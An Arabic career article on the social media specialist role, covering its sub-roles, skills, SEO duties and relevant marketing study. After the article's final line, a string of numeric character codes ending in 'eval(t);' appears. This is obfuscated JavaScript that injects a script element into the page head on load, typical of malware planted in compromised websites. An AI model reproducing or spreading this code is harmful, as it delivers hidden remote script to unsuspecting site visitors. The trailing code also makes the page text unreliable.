أخصائى وسائل التواصل الإجتماعى

وهذا الشخص مهمته كمسؤول العلاقات العامة تماماً ولكن من خلال قنوات التواصل الإجتماعى عبر الإنترنت مثل فيسبوك وتويتر واستخدام الايميلات والموقع الإلكتروني للشركة. ويصنف أيضاً كمسؤول تسويقى فى قسم التسويق الالكتروني Digital Marketing. وتقوم وظيفته بالتحديد فى بناء العلاقات مع الجمهور من خلال منصات التواصل الاجتماعى المختلفة وذلك من خلال الرد على استفساراتهم وتعليقاتهم على منشورات المؤسسة، وجدولة منشورات الشركة سواء كانت تحمل اخبار للشركة او اعلان عن منتج/ خدمة أو تفاعل مع أحداث عامة، وهو بذلك يزيد من الوعي بالعلامة التجارية للمؤسسة. وحسب حجم الشركة يمكن أن تنقسم مهام مسؤول وسائل التواصل الاجتماعي لعدد من الوظائف. فهناك الشخص الذى يرد على الرسائل والتعليقات من الجمهور وهو يسمى Moderator، وهناك الفرد الذى يقوم بعمل الحملات الاعلانية وهو يسمى Social Media Marketing، وهناك الشخص الذى يقوم بكتابة المحتوى ونشره وهو Social Media Specialist، وهناك من يقوم بتحليل أداء وتفاعل الناس على الصفحات الخاصة بالشركة ويسمى Social Media Analyst. ولا مانع من ان يقوم فرد واحد او اثنين بالقيام بعمل كل تلك المهام.

مهارات أخصائى وسائل التواصل الإجتماعى
● ان يكون لديه خبرة جيدة فى مواقع التواصل الاجتماعى
● فهم جيد بالـ SEO
● مهارات جذب الانتباه من خلال القنوات الافتراضية
● مهارات التحليل لطبيعة الجمهور الزائر لمنصات الشركة
● مهارات التواصل مع أفراد الفريق
● مواكبة التحديثات المستمرة لمنصات التواصل واستغلالها
● فهم جيد للتسويق الالكتروني وكيفية استخدام المنصات المختلفة حسب طبيعة الجمهور
● المتابعة الجيدة للأحداث واتجاهات الجمهور العام على الانترنت

مهام أخصائى وسائل التواصل الإجتماعى
● تجهيز المحتوى ونشره سواء كان محتوى كتابي او صور او فيديوهات وبما يناسب طبيعة القناة المشارك بها
● متابعة المنافسين للشركة وتحليل طبيعة جمهورهم وتفاعلهم معهم
● كتابة المحتوى بما يناسب كل قناة على حدا ومتابعة مؤشرات التفاعل عليه وتقبله
● التواصل المستمر مع الجمهور وسرعة الرد عليهم
● اللباقة فى الرد على استفسارات الجمهور وتفاعلاتهم على المنشورات
● التواصل مع أفراد فريق التصميم والتسويق وكتاب المحتوى لتحسين الأداء
● تقديم تقرير دورى عن مدى التفاعل من الجمهور وتقديم الاقتراحات اللازمة فيه
● وضع خطط تسويقية محددة لتحقيق هدف محدد ومتابعة نتائجها
● العمل على تحسين محركات البحث SEO
● زيادة عدد الزائرين على مواقع الشركة
● مواكبة التحديثات المستمرة وتعلم آلية استخدامها

الدراسة الاكاديمية
كليات التجارة بالجامعات المصرية الخاصة والحكومية قسم تسويق

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);